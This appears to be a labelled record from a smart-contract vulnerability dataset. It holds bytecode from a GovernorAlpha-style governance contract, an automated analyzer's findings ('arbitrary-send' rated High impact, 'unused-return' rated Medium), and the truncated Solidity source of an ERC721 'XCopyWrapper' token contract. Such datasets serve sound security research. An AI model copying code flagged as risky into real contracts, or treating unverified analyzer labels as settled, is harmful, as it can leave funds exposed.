0101906020018083116108e257829003601f168201915b505050505081526020019060010190610868565b5050505090509450945094509450509193509193565b600190565b6001546001600160a01b031681565b600081600354101580156109515750600082115b61096d5760405162461bcd60e51b81526004016105ce906133ec565b6000828152600460205260409020600b81015460ff1615610992576002915050610aba565b806007015443116109a7576000915050610aba565b806008015443116109bc576001915050610aba565b80600a015481600901541115806109dd57506109d661068b565b8160090154105b156109ec576003915050610aba565b60028101546109ff576004915050610aba565b600b810154610100900460ff1615610a1b576007915050610aba565b6002810154600054604080516360d143f160e11b81529051610aa493926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b158015610a6757600080fd5b505afa158015610a7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a9f91908101906123fa565b611b23565b4210610ab4576006915050610aba565b60059150505b919050565b6000610aca8261093d565b90506007816007811115610ada57fe5b1415610af85760405162461bcd60e51b81526004016105ce906134bc565b60008281526004602052604090206002546001600160a01b0316331480610bc35750610b22610fe5565b60018054838201546001600160a01b039182169263782d6fe19290911690610b4b904390611b4f565b6040518363ffffffff1660e01b8152600401610b689291906131b4565b60206040518083038186803b158015610b8057600080fd5b505afa158015610b94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bb89190810190612533565b6001600160601b0316105b610bdf5760405162461bcd60e51b81526004016105ce9061345c565b600b8101805460ff1916600117905560005b6003820154811015610ceb576000546003830180546001600160a01b039092169163591fcdfe919084908110610c2357fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c4b57fe5b9060005260206000200154856005018581548110610c6557fe5b90600052602060002001866006018681548110610c7e57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610cad959493929190613251565b600060405180830381600087803b158015610cc757600080fd5b505af1158015610cdb573d6000803e3d6000fd5b505060019092019150610bf19050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d1b91906132df565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610d4590613126565b604080519182900382208282019091526018825277456d7074792053657420476f7665726e6f7220416c70686160401b6020909201919091527fc8c7cdd5af5eea5a174c290055ed8b6db2bf1bb0fa604ed68de0480544c02a11610da7611b77565b30604051602001610dbb94939291906132ed565b6040516020818303038152906040528051906020012090506000604051610de190613131565b604051908190038120610dfa9189908990602001613322565b60405160208183030381529060405280519060200120905060008282604051602001610e279291906130f5565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e64949392919061334a565b6020604051602081039080840390855afa158015610e86573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610eb95760405162461bcd60e51b81526004016105ce9061349c565b610ec4818a8a61195a565b505050505050505050565b6002546001600160a01b03163314610ef95760405162461bcd60e51b81526004016105ce906134ec565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f3a5760405162461bcd60e51b81526004016105ce9061341c565b600080546040516001600160a01b0390911691633a66f90191839190610f6490879060200161313c565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f939493929190613165565b602060405180830381600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061068691908101906123fa565b6a084595161401484a00000090565b6002546001600160a01b0316331461101e5760405162461bcd60e51b81526004016105ce906133ac565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561105f57600080fd5b505af1158015611073573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611098610fe5565b600180546001600160a01b03169063782d6fe19033906110b9904390611b4f565b6040518363ffffffff1660e01b81526004016110d692919061314a565b60206040518083038186803b1580156110ee57600080fd5b505afa158015611102573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111269190810190612533565b6001600160601b03161161114c5760405162461bcd60e51b81526004016105ce9061348c565b8451865114801561115e575083518651145b801561116b575082518651145b6111875760405162461bcd60e51b81526004016105ce9061344c565b85516111a55760405162461bcd60e51b81526004016105ce9061347c565b6111ad610f0b565b865111156111cd5760405162461bcd60e51b81526004016105ce9061342c565b33600090815260056020526040902054801561124a5760006111ee8261093d565b905060018160078111156111fe57fe5b141561121c5760405162461bcd60e51b81526004016105ce906134ac565b600081600781111561122a57fe5b14156112485760405162461bcd60e51b81526004016105ce9061340c565b505b600061125843610a9f610929565b9050600061126882610a9f610531565b600380546001019055905061127b611cda565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020155606082015181600301908051906020019061135e929190611d4f565b506080820151805161137a916004840191602090910190611db4565b5060a08201518051611396916005840191602090910190611dfb565b5060c082015180516113b2916006840191602090910190611e54565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114989998979695949392919061350a565b60405180910390a15193505050505b95945050505050565b60046114bb8261093d565b60078111156114c657fe5b146114e35760405162461bcd60e51b81526004016105ce906133bc565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115389442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a6757600080fd5b905060005b60038301548110156116e0576116d883600301828154811061155b57fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061158357fe5b906000526020600020015485600501848154811061159d57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561162b5780601f106116005761010080835404028352916020019161162b565b820191906000526020600020905b81548152906001019060200180831161160e57829003601f168201915b505050505086600601858154811061163f57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116cd5780601f106116a2576101008083540402835291602001916116cd565b820191906000526020600020905b8154815290600101906020018083116116b057829003601f168201915b505050505086611b7b565b60010161153d565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d1b9085908490613638565b60405161059990613131565b61172e611ead565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056117a08261093d565b60078111156117ab57fe5b146117c85760405162461bcd60e51b81526004016105ce906133cc565b6000818152600460205260408120600b8101805461ff001916610100179055905b600382015481101561191e576000546004830180546001600160a01b0390921691630825f38f91908490811061181b57fe5b906000526020600020015484600301848154811061183557fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061185d57fe5b906000526020600020015486600501868154811061187757fe5b9060005260206000200187600601878154811061189057fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118bf959493929190613251565b6000604051808303818588803b1580156118d857600080fd5b505af11580156118ec573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119159190810190612418565b506001016117e9565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161194e91906132df565b60405180910390a15050565b60016119658361093d565b600781111561197057fe5b1461198d5760405162461bcd60e51b81526004016105ce906134cc565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119d65760405162461bcd60e51b81526004016105ce906133fc565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a0c918a916004016131b4565b60206040518083038186803b158015611a2457600080fd5b505afa158015611a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a5c9190810190612533565b90508315611a8557611a7b8360090154826001600160601b0316611b23565b6009840155611aa2565b611a9c83600a0154826001600160601b0316611b23565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b139088908890889086906131c2565b60405180910390a1505050505050565b600082820183811015611b485760405162461bcd60e51b81526004016105ce9061343c565b9392505050565b600082821115611b715760405162461bcd60e51b81526004016105ce906134dc565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611ba990889088908890889088906020016131f7565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bdb91906132df565b60206040518083038186803b158015611bf357600080fd5b505afa158015611c07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c2b91908101906123dc565b15611c485760405162461bcd60e51b81526004016105ce9061346c565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c8090889088908890889088906004016131f7565b602060405180830381600087803b158015611c9a57600080fd5b505af1158015611cae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cd291908101906123fa565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611da4579160200282015b82811115611da457825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d6f565b50611db0929150611ecd565b5090565b828054828255906000526020600020908101928215611def579160200282015b82811115611def578251825591602001919060010190611dd4565b50611db0929150611ef1565b828054828255906000526020600020908101928215611e48579160200282015b82811115611e485782518051611e38918491602090910190611f0b565b5091602001919060010190611e1b565b50611db0929150611f78565b828054828255906000526020600020908101928215611ea1579160200282015b82811115611ea15782518051611e91918491602090910190611f0b565b5091602001919060010190611e74565b50611db0929150611f9b565b604080516060810182526000808252602082018190529181019190915290565b61053591905b80821115611db05780546001600160a01b0319168155600101611ed3565b61053591905b80821115611db05760008155600101611ef7565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f4c57805160ff1916838001178555611def565b82800160010185558215611def5791820182811115611def578251825591602001919060010190611dd4565b61053591905b80821115611db0576000611f928282611fbe565b50600101611f7e565b61053591905b80821115611db0576000611fb58282611fbe565b50600101611fa1565b50805460018160011615610100020316600290046000825580601f10611fe45750612002565b601f0160209004906000526020600020908101906120029190611ef1565b50565b803561178f8161378c565b600082601f83011261202157600080fd5b813561203461202f8261366d565b613646565b9150818183526020840193506020810190508385602084028201111561205957600080fd5b60005b83811015612085578161206f8882612005565b845250602092830192919091019060010161205c565b5050505092915050565b600082601f8301126120a057600080fd5b81356120ae61202f8261366d565b81815260209384019390925082018360005b8381101561208557813586016120d688826121e5565b84525060209283019291909101906001016120c0565b600082601f8301126120fd57600080fd5b813561210b61202f8261366d565b81815260209384019390925082018360005b83811015612085578135860161213388826121e5565b845250602092830192919091019060010161211d565b600082601f83011261215a57600080fd5b813561216861202f8261366d565b9150818183526020840193506020810190508385602084028201111561218d57600080fd5b60005b8381101561208557816121a388826121cf565b8452506020928301929190910190600101612190565b803561178f816137a0565b805161178f816137a0565b803561178f816137a9565b805161178f816137a9565b600082601f8301126121f657600080fd5b813561220461202f8261368e565b9150808252602083016020830185838301111561222057600080fd5b61222b838284613740565b50505092915050565b600082601f83011261224557600080fd5b815161225361202f8261368e565b9150808252602083016020830185838301111561226f57600080fd5b61222b83828461374c565b803561178f816137b2565b805161178f816137bb565b6000602082840312156122a257600080fd5b60006122ae8484612005565b949350505050565b600080604083850312156122c957600080fd5b60006122d58585612005565b92505060206122e6858286016121cf565b9150509250929050565b600080600080600060a0868803121561230857600080fd5b853567ffffffffffffffff81111561231f57600080fd5b61232b88828901612010565b955050602086013567ffffffffffffffff81111561234857600080fd5b61235488828901612149565b945050604086013567ffffffffffffffff81111561237157600080fd5b61237d888289016120ec565b935050606086013567ffffffffffffffff81111561239a57600080fd5b6123a68882890161208f565b925050608086013567ffffffffffffffff8111156123c357600080fd5b6123cf888289016121e5565b9150509295509295909350565b6000602082840312156123ee57600080fd5b60006122ae84846121c4565b60006020828403121561240c57600080fd5b60006122ae84846121da565b60006020828403121561242a57600080fd5b815167ffffffffffffffff81111561244157600080fd5b6122ae84828501612234565b60006020828403121561245f57600080fd5b60006122ae84846121cf565b6000806040838503121561247e57600080fd5b600061248a85856121cf565b92505060206122e685828601612005565b600080604083850312156124ae57600080fd5b60006124ba85856121cf565b92505060206122e6858286016121b9565b600080600080600060a086880312156124e357600080fd5b60006124ef88886121cf565b9550506020612500888289016121b9565b94505060406125118882890161227a565b9350506060612522888289016121cf565b92505060806123cf888289016121cf565b60006020828403121561254557600080fd5b60006122ae8484612285565b600061255d838361258c565b505060200190565b6000611b48838361272e565b600061255d8383612714565b6125868161370d565b82525050565b612586816136d5565b60006125a0826136c8565b6125aa81856136cc565b93506125b5836136b6565b8060005b838110156125e35781516125cd8882612551565b97506125d8836136b6565b9250506001016125b9565b509495945050505050565b60006125f9826136c8565b61260381856136cc565b935083602082028501612615856136b6565b8060005b8581101561264f57848403895281516126328582612565565b945061263d836136b6565b60209a909a0199925050600101612619565b5091979650505050505050565b6000612667826136c8565b61267181856136cc565b935083602082028501612683856136b6565b8060005b8581101561264f57848403895281516126a08582612565565b94506126ab836136b6565b60209a909a0199925050600101612687565b60006126c8826136c8565b6126d281856136cc565b93506126dd836136b6565b8060005b838110156125e35781516126f58882612571565b9750612700836136b6565b9250506001016126e1565b612586816136e0565b61258681610535565b61258661272982610535565b610535565b6000612739826136c8565b61274381856136cc565b935061275381856020860161374c565b61275c81613778565b9093019392505050565b60008154600181166000811461278357600181146127a9576127e8565b607f600283041661279481876136cc565b60ff19841681529550506020850192506127e8565b600282046127b781876136cc565b95506127c2856136bc565b60005b828110156127e1578154888201526001909101906020016127c5565b8701945050505b505092915050565b61258681613714565b6125868161371f565b6125868161372a565b60006128186039836136cc565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b60006128776044836136cc565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b60006128e36045836136cc565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612950600283610aba565b61190160f01b815260020192915050565b600061296e604c836136cc565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b60006129e26018836136cc565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612a1b6029836136cc565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612a66602d836136cc565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612ab56059836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612b3a604a836136cc565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612bac6028836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612bf66011836136cc565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612c23604383610aba565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c8e602783610aba565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612cd76044836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612d43602f836136cc565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612d946044836136cc565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612e00602c836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612e4e603f836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612ead602f836136cc565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612efe6058836136cc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b6000612f836036836136cc565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612fdb602a836136cc565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b60006130276015836136cc565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b60006130586036836136cc565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906130b4848261270b565b5060208201516130c7602085018261270b565b50604082015161107360408501826130ec565b612586816136fb565b61258681613735565b61258681613701565b600061310082612943565b915061310c828561271d565b60208201915061311c828461271d565b5060200192915050565b600061178f82612c16565b600061178f82612c81565b6020810161178f828461258c565b60408101613158828561257d565b611b486020830184612714565b60a08101613173828761258c565b6131806020830186612802565b8181036040830152613191816129d5565b905081810360608301526131a5818561272e565b90506114a76080830184612714565b60408101613158828561258c565b608081016131d0828761258c565b6131dd6020830186612714565b6131ea604083018561270b565b6114a760608301846130e3565b60a08101613205828861258c565b6132126020830187612714565b8181036040830152613224818661272e565b90508181036060830152613238818561272e565b90506132476080830184612714565b9695505050505050565b60a0810161325f828861258c565b61326c6020830187612714565b818103604083015261327e8186612766565b905081810360608301526132388185612766565b608080825281016132a38187612595565b905081810360208301526132b781866126bd565b905081810360408301526132cb818561265c565b9050818103606083015261324781846125ee565b6020810161178f8284612714565b608081016132fb8287612714565b6133086020830186612714565b6133156040830185612714565b6114a7606083018461258c565b606081016133308286612714565b61333d6020830185612714565b6122ae604083018461270b565b608081016133588287612714565b61336560208301866130da565b6133726040830185612714565b6114a76060830184612714565b6020810161178f82846127f0565b6020810161178f82846127f9565b60208082528101611b48818461272e565b6020808252810161178f8161280b565b6020808252810161178f8161286a565b6020808252810161178f816128d6565b6020808252810161178f81612961565b6020808252810161178f81612a0e565b6020808252810161178f81612a59565b6020808252810161178f81612aa8565b6020808252810161178f81612b2d565b6020808252810161178f81612b9f565b6020808252810161178f81612be9565b6020808252810161178f81612cca565b6020808252810161178f81612d36565b6020808252810161178f81612d87565b6020808252810161178f81612df3565b6020808252810161178f81612e41565b6020808252810161178f81612ea0565b6020808252810161178f81612ef1565b6020808252810161178f81612f76565b6020808252810161178f81612fce565b6020808252810161178f8161301a565b6020808252810161178f8161304b565b6060810161178f82846130a3565b6101208101613519828c612714565b613526602083018b61257d565b8181036040830152613538818a612595565b9050818103606083015261354c81896126bd565b90508181036080830152613560818861265c565b905081810360a083015261357481876125ee565b905061358360c0830186612714565b61359060e0830185612714565b8181036101008301526135a3818461272e565b9b9a5050505050505050505050565b61012081016135c1828c612714565b6135ce602083018b61258c565b6135db604083018a612714565b6135e86060830189612714565b6135f56080830188612714565b61360260a0830187612714565b61360f60c0830186612714565b61361c60e083018561270b565b61362a61010083018461270b565b9a9950505050505050505050565b604081016131588285612714565b60405181810167ffffffffffffffff8111828210171561366557600080fd5b604052919050565b600067ffffffffffffffff82111561368457600080fd5b5060209081020190565b600067ffffffffffffffff8211156136a557600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061178f826136ef565b151590565b80610aba81613782565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b600061178f825b600061178f826136d5565b600061178f826136e5565b600061178f82610535565b600061178f82613701565b82818337506000910152565b60005b8381101561376757818101518382015260200161374f565b838111156110735750506000910152565b601f01601f191690565b6008811061200257fe5b613795816136d5565b811461200257600080fd5b613795816136e0565b61379581610535565b613795816136fb565b6137958161370156fea365627a7a72315820edbf28e120aad0cfaafe0fe5aa76c06caff60bf9108f1e14623d087a6a28f3346c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
587
0xa35cbb5c1835a1fba5487a6d1310dbfac18c2ad6
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface XCopyOriginal { function transfer(address, uint256) external returns (uint256); function transferFrom(address, address, uint256) external returns (uint256); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract XCopyWrapper is Context, ERC165, IERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; uint256 public totalSupply; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // XCopy Original Tokens XCopyOriginal[] public _originals; // Token URIs string[] private _tokenURIs; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. Additionally takes a tokenURI and a reference to the wrapped contract */ constructor(string memory name_, string memory symbol_, string[] memory tokenURIs_, XCopyOriginal[] memory originals_) { _name = name_; _symbol = symbol_; _tokenURIs = tokenURIs_; _originals = originals_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return _tokenURIs[tokenId]; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = XCopyWrapper.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function wrap(XCopyOriginal toWrap) external { uint256 tokenId = 0; for (tokenId; tokenId < _originals.length; tokenId++) { if (toWrap == _originals[tokenId]) break; } require(tokenId < _originals.length, "Not in known / configured originals"); toWrap.transferFrom(msg.sender, address(this), 1); _mint(msg.sender, tokenId); totalSupply += 1; } function unwrap(uint256 tokenId) external { require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: unwrap caller is not owner nor approved"); _burn(tokenId); _originals[tokenId].transfer(msg.sender, 1); totalSupply -= 1; } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = XCopyWrapper.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = XCopyWrapper.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on 